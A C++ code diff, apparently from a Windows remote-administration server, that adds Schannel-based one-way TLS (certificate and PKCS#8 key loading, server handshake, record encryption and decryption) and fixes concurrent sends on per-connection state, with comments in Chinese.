TLS_Handshaking = 2, // TLS 客户端,握手线程阻塞 AcceptSecurityContext 中
TLS_Ready = 3, // TLS 握手完成,收包解密 / 发包加密
};
class ServerTlsSession; // 定义见 ServerTlsSession.h(避免把 Schannel 头拖进本文件)
typedef class CONTEXT_OBJECT : public context typedef class CONTEXT_OBJECT : public context
{ {
public: public:
@@ -336,6 +352,7 @@ public:
FreeDecompressBuffer(); FreeDecompressBuffer();
FreeCompressBuffer(); FreeCompressBuffer();
FreeSendCompressBuffer(); FreeSendCompressBuffer();
FreeTls();
if (Zcctx) { if (Zcctx) {
ZSTD_freeCCtx(Zcctx); ZSTD_freeCCtx(Zcctx);
Zcctx = nullptr; Zcctx = nullptr;
@@ -372,6 +389,11 @@ public:
ikcpcb* kcp = nullptr; // 新增,指向KCP会话 ikcpcb* kcp = nullptr; // 新增,指向KCP会话
std::string GroupName; // 分组名称 std::string GroupName; // 分组名称
CLock SendLock; // fix #214 CLock SendLock; // fix #214
// 发送是否处于「进行中」状态。OnClientPreSending 每次 Send2Client 都会 Post 一个
// IOWrite,若不加节制,OnClientPostSending(0) 会对同一 OutCompressedBuffer 并发发起
// 多个 WSASend,读到同一段可变内存(背靠背小包最易触发:resize→COMMAND_NEXT→resize)。
// 置位后抑制多余的 IOWrite,待缓冲排空(最后一个 WSASend 完成)再清零。仅受 SendLock 保护。
bool bSendPending = false;
time_t OnlineTime = 0; // 上线时间 time_t OnlineTime = 0; // 上线时间
time_t LastHeartbeatTime = 0; // 最后心跳时间 time_t LastHeartbeatTime = 0; // 最后心跳时间
@@ -387,6 +409,11 @@ public:
// 试用版反代理逐连接检测器。仅由 IOCPServer 的 RTT 轮询线程访问,免锁。 // 试用版反代理逐连接检测器。仅由 IOCPServer 的 RTT 轮询线程访问,免锁。
TcpRttBreachDetector m_RttDetector; TcpRttBreachDetector m_RttDetector;
// ---- 单向 TLS 状态(跨线程:握手线程写入 TLS_Ready,工作线程读取;用 atomic 保序)----
std::atomic<int> tlsState{ TLS_Unclassified }; // ServerTlsState
ServerTlsSession* tls = nullptr; // 每连接 TLS 会话(握手线程独占→就绪后共用)
std::vector<BYTE> tlsPreClassify; // 分类前缓冲的首批字节(嗅探 ClientHello 头)
// 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。 // 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。
// 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受), // 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受),
// 仅作为标记供后续命令处理 / 未来收紧策略使用。 // 仅作为标记供后续命令处理 / 未来收紧策略使用。
@@ -490,6 +517,9 @@ public:
} }
} }
// 释放每连接 TLS 会话。定义在 ServerTlsSession.cpp(需 ServerTlsSession 完整类型才能 delete)。
void FreeTls();
std::string GetProtocol() const override std::string GetProtocol() const override
{ {
return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP"; return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP";
@@ -534,6 +564,12 @@ public:
m_RttUs.store(0, std::memory_order_release); m_RttUs.store(0, std::memory_order_release);
m_LastRttSampleMs.store(0, std::memory_order_release); m_LastRttSampleMs.store(0, std::memory_order_release);
m_RttDetector.Reset(); m_RttDetector.Reset();
// 复用对象池时重置 TLS 状态:释放旧会话、回到未分类、清空嗅探缓冲。
FreeTls();
tlsState.store(TLS_Unclassified, std::memory_order_release);
tlsPreClassify.clear();
// 复用对象池时清空发送进行中标志,避免上次连接残留的 bSendPending 抑制新连接的发送。
bSendPending = false;
} }
void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); } void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); } bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); }
@@ -568,6 +604,20 @@ public:
} }
return FALSE; return FALSE;
} }
// 等待 OutCompressedBuffer 排空。OnClientPostSending 在最后一个 WSASend 完成后
// ClearBuffer 使有效长度归零,此处轮询该信号,避免背靠背 Send2Client 对同一缓冲
// 并发 WSASend(MCP OnSystemReady 发写命令后补发刷新命令时调用)。
bool WaitSendIdle(int timeoutMs) override
{
ULONGLONG deadline = (timeoutMs > 0) ? (GetTickCount64() + (ULONGLONG)timeoutMs) : 0;
while (OutCompressedBuffer.GetBufferLength() != 0) {
if (timeoutMs > 0 && GetTickCount64() >= deadline) {
return false;
}
Sleep(1);
}
return true;
}
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {}) VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {})
{ {
for (int i = 0; i < ONLINELIST_MAX; i++) { for (int i = 0; i < ONLINELIST_MAX; i++) {
+604
View File
@@ -0,0 +1,604 @@
// ServerTlsSession.cpp — 服务端单向 TLS(Schannel 入站)实现
//
// 与客户端 TlsChannel.cpp 对称,但走 AcceptSecurityContext 入站握手、DecryptMessage/
// EncryptMessage 流式加解密。证书/私钥加载为 PEM + CNG(NCryptImportKey PKCS#8),
// 以便与 Go 服务端(server/go 的 crypto/tls,YAMA_TLS_CERT/KEY)共用同一对密钥。
#include "StdAfx.h"
#include "ServerTlsSession.h"
#include "Server.h" // CONTEXT_OBJECT::FreeTls()
#include "common/iniFile.h" // config(GetInt/GetStr)
#include <ncrypt.h>
#include <bcrypt.h>
#include <fstream>
#include <iterator>
#include <sstream>
#pragma comment(lib, "secur32.lib")
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "ncrypt.lib")
namespace
{
// 进程级身份(进程启动加载一次;未来 UI/指令热切换时改为引用计数 + 惰性释放)。
std::mutex g_identityMtx;
bool g_enabled = false;
bool g_ready = false;
bool g_loadError = false;
CredHandle g_cred = {};
bool g_credValid = false;
PCCERT_CONTEXT g_cert = NULL; // 与入站凭据同生命周期,FreeIdentity 时释放
NCRYPT_KEY_HANDLE g_persistedKey = 0; // 已持久化到 CNG KSP 的私钥句柄,FreeIdentity 时删除
// 持久化私钥在 CNG KSP 中的名字。用固定名 + NCRYPT_OVERWRITE_KEY_FLAG,重启时覆盖旧键,
// 避免残留;同名键的密钥材料与 server.key 相同,覆盖无副作用。
const wchar_t* g_keyName = L"YamaServerTlsKey";
// 一次性读文件为 std::string(二进制安全)。
bool ReadFileText(const std::string& path, std::string& out)
{
std::ifstream f(path, std::ios::binary);
if (!f.is_open())
return false;
std::ostringstream ss;
ss << f.rdbuf();
if (f.bad())
return false;
out = ss.str();
return true;
}
// PEM(-----BEGIN ...----- 包裹的 base64)解码为 DER。失败返回 false。
// CRYPT_STRING_ANY 会自动识别带头的 base64(PEM),对证书与 PKCS#8 私钥均适用。
bool PemToDer(const std::string& pem, std::vector<BYTE>& der)
{
if (pem.empty())
return false;
DWORD need = 0;
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
NULL, &need, NULL, NULL))
return false;
der.resize(need);
return CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
der.data(), &need, NULL, NULL) == TRUE;
}
// 从 PEM 文本里定位私钥块的类型,用于给出可操作的错误提示。
enum KeyFmt { KF_PKCS8, KF_PKCS1, KF_UNKNOWN };
KeyFmt DetectKeyFormat(const std::string& keyPem)
{
if (keyPem.find("-----BEGIN PRIVATE KEY-----") != std::string::npos)
return KF_PKCS8;
if (keyPem.find("-----BEGIN RSA PRIVATE KEY-----") != std::string::npos ||
keyPem.find("-----BEGIN EC PRIVATE KEY-----") != std::string::npos)
return KF_PKCS1;
return KF_UNKNOWN;
}
}
// =====================================================================================
// ServerTlsIdentity —— 进程级服务端身份(可重入加载,禁止 call_once,供未来热切换)
// =====================================================================================
void ServerTlsIdentity::FreeIdentity()
{
// 先释放凭据,再释放证书上下文,最后删除持久化私钥(凭据/证书可能仍按名引用该键)。
if (g_credValid)
{
FreeCredentialsHandle(&g_cred);
g_credValid = false;
}
g_cred = {};
if (g_cert)
{
CertFreeCertificateContext(g_cert);
g_cert = NULL;
}
if (g_persistedKey)
{
NCryptDeleteKey(g_persistedKey, 0); // 删除并释放句柄
g_persistedKey = 0;
}
}
bool ServerTlsIdentity::Load(config& cfg)
{
std::lock_guard<std::mutex> lk(g_identityMtx);
bool enabled = cfg.GetInt("tls", "Enabled", 0) != 0;
std::string certPath = cfg.GetStr("tls", "CertPath", "");
std::string keyPath = cfg.GetStr("tls", "KeyPath", "");
g_enabled = enabled;
// 先释放旧身份(本轮只在启动时调用一次,不存在「旧身份仍被并发握手使用」的问题;
// 未来热切换需先引用计数、再惰性释放旧凭据)。
FreeIdentity();
g_ready = false;
g_loadError = false;
if (!enabled)
{
Mprintf("[TLS] server TLS disabled ([tls] Enabled=0) — plaintext only\n");
return true;
}
if (certPath.empty() || keyPath.empty())
{
g_loadError = true;
Mprintf("[TLS] FATAL: [tls] Enabled=1 but CertPath/KeyPath empty; "
"refusing TLS ClientHello (fail-closed)\n");
return false;
}
if (!LoadIdentity(certPath, keyPath))
{
g_loadError = true;
return false;
}
g_ready = true;
Mprintf("[TLS] server TLS enabled: cert=%s key=%s\n", certPath.c_str(), keyPath.c_str());
return true;
}
bool ServerTlsIdentity::LoadIdentity(const std::string& certPath, const std::string& keyPath)
{
std::string certPem, keyPem;
if (!ReadFileText(certPath, certPem))
{
Mprintf("[TLS] FATAL: cannot read cert file %s\n", certPath.c_str());
return false;
}
if (!ReadFileText(keyPath, keyPem))
{
Mprintf("[TLS] FATAL: cannot read key file %s\n", keyPath.c_str());
return false;
}
// 1) 证书:PEM → DER → PCCERT_CONTEXT。
std::vector<BYTE> certDer;
if (!PemToDer(certPem, certDer))
{
Mprintf("[TLS] FATAL: cert file %s is not a valid PEM\n", certPath.c_str());
return false;
}
PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING,
certDer.data(), (DWORD)certDer.size());
if (cert == NULL)
{
Mprintf("[TLS] FATAL: CertCreateCertificateContext failed (%u)\n", GetLastError());
return false;
}
// 2) 私钥:PEM → DER → 持久化到 CNG KSP(仅支持 PKCS#8;PKCS#1 给出可操作的转换提示)。
//
// 关键:Schannel 入站凭据(AcquireCredentialsHandle)需要「能按名重开」的持久化私钥。
// NCryptImportKey 产出的是匿名临时键,绑定 CERT_NCRYPT_KEY_HANDLE_PROP_ID 后 Schannel 仍
// 拿不到(AcquireCredentialsHandle 返回 SEC_E_NO_CREDENTIALS 0x8009030e)。因此先把
// PKCS#8 导入为临时键、导出为裸 RSA 私钥 BLOB(NCryptSetProperty 只认裸 BLOB,不认
// PKCS#8),再写入持久化键并 finalize,最后用 CERT_KEY_PROV_INFO_PROP_ID 按名引用。
std::vector<BYTE> keyDer;
NCRYPT_KEY_HANDLE persistedKey = 0;
if (DetectKeyFormat(keyPem) == KF_PKCS8)
{
if (!PemToDer(keyPem, keyDer))
{
Mprintf("[TLS] FATAL: key file %s is not a valid PEM\n", keyPath.c_str());
CertFreeCertificateContext(cert);
return false;
}
// 显式打开 Microsoft Software Key Storage Provider。hProvider 传 NULL 会让
// NCryptImportKey 走「默认提供者」解析,实测返回 NTE_INVALID_HANDLE(0x80090026),
// 故必须显式取得 KSP 句柄(临时键独立于 hProv,导入后即可释放)。
NCRYPT_PROV_HANDLE hProv = 0;
SECURITY_STATUS st = NCryptOpenStorageProvider(&hProv, MS_KEY_STORAGE_PROVIDER, 0);
if (st != ERROR_SUCCESS)
{
Mprintf("[TLS] FATAL: NCryptOpenStorageProvider failed 0x%08x\n", (unsigned)st);
CertFreeCertificateContext(cert);
return false;
}
// 2a) PKCS#8 → 临时键。
NCRYPT_KEY_HANDLE tmp = 0;
st = NCryptImportKey(hProv, NULL, NCRYPT_PKCS8_PRIVATE_KEY_BLOB, NULL,
&tmp, keyDer.data(), (DWORD)keyDer.size(), 0);
if (st == ERROR_SUCCESS)
{
// 2b) 允许明文导出,导出为裸 RSA 私钥 BLOB。
DWORD policy = NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG | NCRYPT_ALLOW_EXPORT_FLAG;
NCryptSetProperty(tmp, NCRYPT_EXPORT_POLICY_PROPERTY, (PBYTE)&policy, sizeof(policy), 0);
std::vector<BYTE> raw;
DWORD rawLen = 0;
st = NCryptExportKey(tmp, NULL, BCRYPT_RSAFULLPRIVATE_BLOB, NULL, NULL, 0, &rawLen, 0);
if (st == ERROR_SUCCESS)
{
raw.resize(rawLen);
st = NCryptExportKey(tmp, NULL, BCRYPT_RSAFULLPRIVATE_BLOB, NULL,
raw.data(), rawLen, &rawLen, 0);
}
// 2c) 写入持久化键并 finalize(落到 KSP,可被 Schannel 按名重开)。
if (st == ERROR_SUCCESS)
st = NCryptCreatePersistedKey(hProv, &persistedKey, BCRYPT_RSA_ALGORITHM,
g_keyName, AT_KEYEXCHANGE, NCRYPT_OVERWRITE_KEY_FLAG);
if (st == ERROR_SUCCESS)
st = NCryptSetProperty(persistedKey, BCRYPT_RSAFULLPRIVATE_BLOB,
raw.data(), (DWORD)raw.size(), 0);
if (st == ERROR_SUCCESS)
st = NCryptFinalizeKey(persistedKey, 0);
NCryptFreeObject(tmp);
}
NCryptFreeObject(hProv);
if (st != ERROR_SUCCESS)
{
Mprintf("[TLS] FATAL: failed to persist PKCS#8 key for %s (0x%08x)\n",
keyPath.c_str(), (unsigned)st);
if (persistedKey)
NCryptFreeObject(persistedKey);
CertFreeCertificateContext(cert);
return false;
}
}
else
{
// PKCS#1(RSA/EC PRIVATE KEY)或未知格式:本次不支持,给转换命令。
Mprintf("[TLS] FATAL: key file %s must be PKCS#8 (-----BEGIN PRIVATE KEY-----). "
"Convert with: openssl pkcs8 -topk8 -nocrypt -in %s -out %s\n",
keyPath.c_str(), keyPath.c_str(), keyPath.c_str());
CertFreeCertificateContext(cert);
return false;
}
// 3) 绑定私钥到证书上下文:按名引用持久化键。Schannel 经 CryptAcquireCertificatePrivateKey
// 在 MS_KEY_STORAGE_PROVIDER 里用 pwszContainerName 重开该键。
CRYPT_KEY_PROV_INFO provInfo = {};
provInfo.pwszContainerName = (LPWSTR)g_keyName;
provInfo.pwszProvName = (LPWSTR)MS_KEY_STORAGE_PROVIDER;
provInfo.dwProvType = 0; // 0 = CNG(无 CAPI provider type)
provInfo.dwKeySpec = AT_KEYEXCHANGE;
if (!CertSetCertificateContextProperty(cert, CERT_KEY_PROV_INFO_PROP_ID, 0, &provInfo))
{
Mprintf("[TLS] FATAL: CertSetCertificateContextProperty(CERT_KEY_PROV_INFO_PROP_ID) "
"failed (%u)\n", GetLastError());
NCryptDeleteKey(persistedKey, 0); // 删除并释放句柄
CertFreeCertificateContext(cert);
return false;
}
// 绑定后持久化键句柄交进程级 g_persistedKey,随 FreeIdentity 删除(覆盖旧键,避免残留)。
g_persistedKey = persistedKey;
// 4) 入站凭据:显式指定服务端证书,不请求客户端证书(单向 TLS)。
SCHANNEL_CRED sc = {};
sc.dwVersion = SCHANNEL_CRED_VERSION;
sc.cCreds = 1;
sc.paCred = &cert;
sc.grbitEnabledProtocols = SP_PROT_TLS1_2_SERVER;
// NO_DEFAULT_CREDS 避免回退到系统默认凭据,确保只用我们提供的证书/私钥。
//(单向 TLS 不请求客户端证书,故无需 SCH_CRED_MANUAL_CRED_VALIDATION。)
sc.dwFlags = SCH_CRED_NO_DEFAULT_CREDS;
TimeStamp tsExpiry = {};
SECURITY_STATUS st = AcquireCredentialsHandleA(
NULL, (SEC_CHAR*)"Microsoft Unified Security Protocol Provider", SECPKG_CRED_INBOUND,
NULL, &sc, NULL, NULL, &g_cred, &tsExpiry);
if (st != SEC_E_OK)
{
Mprintf("[TLS] FATAL: AcquireCredentialsHandle(SECPKG_CRED_INBOUND) failed 0x%08x\n",
(unsigned)st);
CertFreeCertificateContext(cert); // 无凭据引用,安全释放
g_cred = {};
if (g_persistedKey) // 回滚:删除已持久化的私钥,避免残留
{
NCryptDeleteKey(g_persistedKey, 0); // 删除并释放句柄
g_persistedKey = 0;
}
return false;
}
// 成功:把证书上下文生命周期交给进程级 g_cert,随 FreeIdentity 释放,
// 保证在 FreeCredentialsHandle 之前私钥一直可用。
g_cert = cert;
g_credValid = true;
return true;
}
bool ServerTlsIdentity::IsEnabled()
{
std::lock_guard<std::mutex> lk(g_identityMtx);
return g_enabled;
}
bool ServerTlsIdentity::IsReady()
{
std::lock_guard<std::mutex> lk(g_identityMtx);
return g_ready && g_credValid;
}
bool ServerTlsIdentity::IsLoadError()
{
std::lock_guard<std::mutex> lk(g_identityMtx);
return g_loadError;
}
CredHandle ServerTlsIdentity::Cred()
{
std::lock_guard<std::mutex> lk(g_identityMtx);
return g_cred;
}
// =====================================================================================
// ServerTlsSession —— 单连接会话(握手 + 加解密)
// =====================================================================================
void ServerTlsSession::CloseHandles()
{
if (m_ctxValid)
{
DeleteSecurityContext(&m_ctx);
m_ctxValid = false;
}
m_ctx = {};
m_ready = false;
m_raw.clear();
}
// 握手线程在 IOCP 的子套接字上做同步 I/O。该套接字可能是非阻塞的(监听套接字经
// WSAEventSelect 置为非阻塞后,accept 出的子套接字继承非阻塞态;线程里 FIONBIO=0 也
// 不一定即时生效)。故 recv/send 遇 WSAEWOULDBLOCK 时用 select 等可读/可写再重试,
// 而非当致命错误,避免「客户端回包还没到就误判握手失败」。
static bool WaitSocketReady(SOCKET sock, bool forRead, int timeoutMs)
{
fd_set fds;
FD_ZERO(&fds);
FD_SET(sock, &fds);
timeval tv;
tv.tv_sec = timeoutMs / 1000;
tv.tv_usec = (timeoutMs % 1000) * 1000;
return select(0, forRead ? &fds : NULL, forRead ? NULL : &fds, NULL, &tv) > 0;
}
bool ServerTlsSession::SendAll(SOCKET sock, const void* data, int len)
{
const BYTE* p = (const BYTE*)data;
int sent = 0;
while (sent < len)
{
int n = send(sock, (const char*)p + sent, len - sent, 0);
if (n == SOCKET_ERROR && WSAGetLastError() == WSAEWOULDBLOCK)
{
if (!WaitSocketReady(sock, false, 15000))
return false;
continue; // 非阻塞套接字发送缓冲满:等可写后重试
}
if (n <= 0)
return false;
sent += n;
}
return true;
}
bool ServerTlsSession::Handshake(SOCKET sock, const BYTE* initial, int initialLen)
{
std::lock_guard<std::mutex> lk(m_mtx);
if (m_ctxValid)
CloseHandles(); // 防御:会话应只握手一次
CredHandle cred = ServerTlsIdentity::Cred();
// 单向 TLS:服务端不请求客户端证书,故无需 ASC_REQ_MANUAL_CRED_VALIDATION
//(该标志只在 mTLS 校验客户端证书时有意义;SDK 的 ASC 命名空间里亦无此常量)。
DWORD req = ASC_REQ_SEQUENCE_DETECT | ASC_REQ_REPLAY_DETECT | ASC_REQ_CONFIDENTIALITY |
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_STREAM;
std::vector<BYTE> hs(initial, initial + initialLen);
CtxtHandle ctx = {};
bool ctxValid = false;
TimeStamp tsExpiry = {};
ULONG attrs = 0;
SECURITY_STATUS sc = SEC_I_CONTINUE_NEEDED;
for (;;)
{
SecBuffer inBufs[2] = {
{ (ULONG)hs.size(), SECBUFFER_TOKEN, hs.empty() ? NULL : hs.data() },
{ 0, SECBUFFER_EMPTY, NULL },
};
SecBufferDesc inDesc = { SECBUFFER_VERSION, 2, inBufs };
SecBuffer outBuf = { 0, SECBUFFER_TOKEN, NULL };
SecBufferDesc outDesc = { SECBUFFER_VERSION, 1, &outBuf };
sc = AcceptSecurityContext(&cred, ctxValid ? &ctx : NULL, &inDesc, req,
SECURITY_NATIVE_DREP, ctxValid ? NULL : &ctx,
&outDesc, &attrs, &tsExpiry);
ctxValid = true;
// 发出服务端握手记录(ServerHello/Certificate/... 或 Finished)。
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer)
{
bool ok = SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer);
FreeContextBuffer(outBuf.pvBuffer);
if (!ok)
{
sc = SEC_E_INTERNAL_ERROR;
break;
}
}
// 计算已消费字节:SECBUFFER_EXTRA 里是「未消费的尾部」(下一条握手消息 / 首条应用数据)。
// 必须在 SEC_E_OK / 失败判定之前处理:否则握手完成时 hs 里仍混着已消费的握手记录,
// 紧跟 Finished 的首条应用数据(客户端登录包)会随 hs 一起被丢弃,导致随机丢包。
if (inBufs[1].BufferType == SECBUFFER_EXTRA)
{
int extra = (int)inBufs[1].cbBuffer;
hs.erase(hs.begin(), hs.begin() + (hs.size() - extra));
}
else if (sc != SEC_E_INCOMPLETE_MESSAGE && sc != SEC_I_INCOMPLETE_CREDENTIALS)
{
hs.clear(); // 已全部消费,继续等下一轮握手消息
}
// 否则:SEC_E_INCOMPLETE_MESSAGE —— 保留 hs(不完整消息),续收补齐。
if (sc == SEC_E_OK)
break;
if (FAILED(sc) && sc != SEC_E_INCOMPLETE_MESSAGE && sc != SEC_I_INCOMPLETE_CREDENTIALS)
{
Mprintf("[TLS] AcceptSecurityContext failed 0x%08x (in=%u consumed? extra=%u)\n",
(unsigned)sc, inBufs[0].cbBuffer, inBufs[1].BufferType == SECBUFFER_EXTRA ? inBufs[1].cbBuffer : 0);
break; // 真正的失败
}
char raw[8192];
int r;
for (;;)
{
r = recv(sock, raw, sizeof(raw), 0);
if (r == SOCKET_ERROR && WSAGetLastError() == WSAEWOULDBLOCK)
{
if (!WaitSocketReady(sock, true, 15000))
{
r = SOCKET_ERROR;
break; // 等可读超时
}
continue; // 非阻塞套接字暂无数据:等可读后重试
}
break;
}
if (r <= 0)
{
Mprintf("[TLS] handshake recv failed/EOF (r=%d err=%d)\n", r, WSAGetLastError());
sc = SEC_E_INTERNAL_ERROR;
break;
}
hs.insert(hs.end(), (BYTE*)raw, (BYTE*)raw + r);
}
if (sc != SEC_E_OK)
{
Mprintf("[TLS] handshake failed: final status 0x%08x (fail-closed)\n", (unsigned)sc);
if (ctxValid)
DeleteSecurityContext(&ctx);
return false;
}
// 握手成功后 hs 里残留的「未消费尾部」是紧跟 Finished 的首条应用数据(TLS 记录)。
// 交给 Decrypt 处理,否则首包会丢(表现为随机登录超时/重连/协议错位)。
if (!hs.empty())
m_raw.insert(m_raw.end(), hs.begin(), hs.end());
// 查询流式记录尺寸(加密封装用)。
SecPkgContext_StreamSizes sizes = {};
if (QueryContextAttributes(&ctx, SECPKG_ATTR_STREAM_SIZES, &sizes) != SEC_E_OK)
{
DeleteSecurityContext(&ctx);
return false;
}
m_ctx = ctx;
m_ctxValid = true;
m_sizes = sizes;
m_ready = true;
return true;
}
int ServerTlsSession::Decrypt(const BYTE* cipher, int len, std::vector<BYTE>& plain)
{
std::lock_guard<std::mutex> lk(m_mtx);
if (!m_ready)
return -1;
if (len <= 0)
return 0;
m_raw.insert(m_raw.end(), cipher, cipher + len);
for (;;)
{
SecBuffer bufs[4] = {
{ (ULONG)m_raw.size(), SECBUFFER_DATA, m_raw.empty() ? NULL : m_raw.data() },
{ 0, SECBUFFER_EMPTY, NULL },
{ 0, SECBUFFER_EMPTY, NULL },
{ 0, SECBUFFER_EMPTY, NULL },
};
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
SECURITY_STATUS sc = DecryptMessage(&m_ctx, &desc, 0, NULL);
if (sc == SEC_E_INCOMPLETE_MESSAGE)
break; // 记录不完整,等下一轮 WSARecv
if (sc == SEC_I_CONTEXT_EXPIRED) {
Mprintf("[TLS] DecryptMessage: peer close_notify (SEC_I_CONTEXT_EXPIRED)\n");
return -1; // 对端 close_notify / 会话结束
}
if (sc == SEC_I_RENEGOTIATE || FAILED(sc)) {
Mprintf("[TLS] DecryptMessage failed 0x%08x (raw=%u)\n", (unsigned)sc, (unsigned)m_raw.size());
return -1;
}
int decLen = (int)bufs[1].cbBuffer;
const BYTE* p = (const BYTE*)bufs[1].pvBuffer;
int extra = (bufs[3].BufferType == SECBUFFER_EXTRA) ? (int)bufs[3].cbBuffer : 0;
int consumed = (int)m_raw.size() - extra;
if (decLen > 0 && p)
plain.insert(plain.end(), p, p + decLen);
m_raw.erase(m_raw.begin(), m_raw.begin() + consumed);
if (m_raw.empty())
break;
}
return 0;
}
int ServerTlsSession::Encrypt(const BYTE* plain, int len, std::vector<BYTE>& wire)
{
std::lock_guard<std::mutex> lk(m_mtx);
if (!m_ready)
return -1;
if (len <= 0)
return 0;
ULONG maxMsg = m_sizes.cbMaximumMessage > 0 ? m_sizes.cbMaximumMessage : 16384;
int total = 0;
while (total < len)
{
int chunk = (len - total > (int)maxMsg) ? (int)maxMsg : (len - total);
std::vector<BYTE> rec(m_sizes.cbHeader + chunk + m_sizes.cbTrailer);
BYTE* hdr = rec.data();
BYTE* body = hdr + m_sizes.cbHeader;
BYTE* trailer = body + chunk;
memcpy(body, plain + total, chunk);
SecBuffer bufs[4] = {
{ m_sizes.cbHeader, SECBUFFER_STREAM_HEADER, hdr },
{ (ULONG)chunk, SECBUFFER_DATA, body },
{ m_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, trailer },
{ 0, SECBUFFER_EMPTY, NULL },
};
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
SECURITY_STATUS sc = EncryptMessage(&m_ctx, 0, &desc, 0);
if (FAILED(sc))
return -1; // 握手已建立,此处失败视为致命(调用方关闭连接)
int wireLen = (int)(bufs[0].cbBuffer + bufs[1].cbBuffer + bufs[2].cbBuffer);
wire.insert(wire.end(), rec.data(), rec.data() + wireLen);
total += chunk;
}
return total;
}
// =====================================================================================
// CONTEXT_OBJECT::FreeTls —— 释放每连接 TLS 会话(定义在此以便 delete 完整类型)
// =====================================================================================
void CONTEXT_OBJECT::FreeTls()
{
delete tls;
tls = NULL;
}
+92
View File
@@ -0,0 +1,92 @@
// ServerTlsSession.h — MFC 服务端单向 TLS(Schannel 入站)会话封装
//
// 与客户端 TlsChannel 对称:客户端走 InitializeSecurityContext(出站),本类走
// AcceptSecurityContext(入站)。单向 TLS:不请求/校验客户端证书,客户端身份仍由
// 隧道内登录(V1 PwdHmac / V2 ECDSA)承担。
//
// 分层:
// ServerTlsIdentity —— 进程级「服务端身份」(证书 + 私钥 → 入站凭据)。可重入加载
// (Load 禁止用 call_once,供未来 UI/指令热切换),本轮启动时加载一次。
// ServerTlsSession —— 每条连接一个,持有握手/加解密所需的 Schannel 上下文与缓冲,
// 随 CONTEXT_OBJECT 池化复用而重建。
//
// 线程模型:Handshake 在专用握手线程上阻塞执行(方案 A);握手完成后,Decrypt 由
// IOCP 工作线程调用(每连接同一时刻只有一个未决 WSARecv,天然串行)、Encrypt 在
// SendLock 内调用。Schannel 上下文非线程安全,故 Encrypt/Decrypt 内部以 m_mtx 互斥。
//
// 选型:Schannel(Windows 原生 SSPI),secur32.lib / crypt32.lib / ncrypt.lib 系统库。
// 证书/私钥为 PEM(与 Go 服务端 YAMA_TLS_CERT/KEY 同构,可共用同一对密钥);私钥
// 须为 PKCS#8(-----BEGIN PRIVATE KEY-----),见 ServerTlsSession.cpp 的加载实现。
#pragma once
#include <WinSock2.h>
#ifndef SECURITY_WIN32
#define SECURITY_WIN32 1
#endif
#include <security.h>
#include <schannel.h>
#include <mutex>
#include <string>
#include <vector>
class config; // common/iniFile.h(仅需引用,避免把 ini 头拖进 Server.h 的 include 图)
// ---- 进程级服务端身份(证书 + 私钥),可重入加载(禁止 call_once,供未来热切换)----
class ServerTlsIdentity
{
public:
// 从 cfg(THIS_CFG)读 [tls] 节:Enabled / CertPath / KeyPath,并加载身份。
// 返回 true 表示「配置已生效」(开关关、或开关开且身份加载成功);开关开但加载
// 失败时返回 false 且 IsLoadError()==true,服务端须对 TLS ClientHello fail-closed。
static bool Load(config& cfg);
static bool IsEnabled(); // [tls] Enabled != 0
static bool IsReady(); // 开关开 && 身份加载成功(有可用入站凭据)
static bool IsLoadError(); // 开关开 && 身份加载失败(fail-closed)
// 入站凭据(AcquireCredentialsHandle 产出)。返回拷贝;句柄值本身可安全拷贝。
static CredHandle Cred();
private:
static void FreeIdentity();
static bool LoadIdentity(const std::string& certPath, const std::string& keyPath);
};
// ---- 单连接服务端 TLS 会话(握手 + 加解密)----
class ServerTlsSession
{
public:
ServerTlsSession() {}
~ServerTlsSession() { CloseHandles(); }
ServerTlsSession(const ServerTlsSession&) = delete;
ServerTlsSession& operator=(const ServerTlsSession&) = delete;
// 阻塞式服务端握手(方案 A:专用握手线程上调用)。initial/initialLen 是嗅探阶段已
// 收到的 ClientHello 字节(可能只是分片;内部按 SEC_E_INCOMPLETE_MESSAGE 续收补齐)。
// 成功返回 true,失败 false(调用方关闭连接,fail-closed)。
bool Handshake(SOCKET sock, const BYTE* initial, int initialLen);
// 解密:把本次 WSARecv 收到的密文 cipher[0..len] 喂入,把能解出的明文追加到 plain。
// 返回 0 = 成功(可能无明文);-1 = 错误 / 对端 close_notify(调用方关闭连接)。
int Decrypt(const BYTE* cipher, int len, std::vector<BYTE>& plain);
// 加密:把明文 plain[0..len] 加密成完整 TLS 记录,追加到 wire。
// 返回加密的明文字节数(== len);-1 = 错误。
int Encrypt(const BYTE* plain, int len, std::vector<BYTE>& wire);
bool Ready() const { return m_ready; }
private:
void CloseHandles();
bool SendAll(SOCKET sock, const void* data, int len);
std::mutex m_mtx; // 序列化对 m_ctx 的 Encrypt/Decrypt(Schannel 非线程安全)
CtxtHandle m_ctx = {};
bool m_ctxValid = false;
bool m_ready = false;
SecPkgContext_StreamSizes m_sizes = {};
std::vector<BYTE> m_raw; // 尚未解密 / 未消费完的 TLS 记录原始字节
};
+125
View File
@@ -0,0 +1,125 @@
// ShareHostDlg.cpp: 分享主机 / 转移主机 专用对话框实现
//
#include "stdafx.h"
#include "ShareHostDlg.h"
#include "2015Remote.h"
